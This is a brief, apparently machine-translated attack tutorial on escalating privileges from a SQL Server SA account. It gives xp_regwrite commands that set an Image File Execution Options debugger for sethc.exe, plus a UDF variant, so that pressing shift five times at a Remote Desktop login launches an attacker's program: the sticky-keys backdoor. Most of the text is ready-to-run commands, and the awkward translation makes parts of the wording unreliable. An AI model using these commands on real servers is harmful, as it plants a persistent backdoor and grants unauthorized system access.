SA claim image hijacking claim statement

Shadow

Sometimes commands cannot be executed under the SA permission. Write the Registry to escalate permissions.

: Exec master. dbo. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe, debugger, REG_SZ, c: \ windows \ assumer.exe
: Exec master. dbo. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe, debugger, REG_SZ, c: \ windows \ system32 \ taskmgr.exe
 

Write the registry function.
Select regwrite ("HKEY_LOCAL_MACHINE", "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe", "Debugger", "REG_SZ", "E: \ web \ 170stock \ admin \ include \ assumer.exe ");

Add the regwrite function through udf Elevation of Privilege
After changing the registration table, change the path of sethc.exe to the program we want to run (such as cmd)
Connect to 3389 and press shift five times to execute our program. It's good, that is, the sethc backdoor principle.

However, the management group does not allow users added to the localgroup administrators to enter 3389.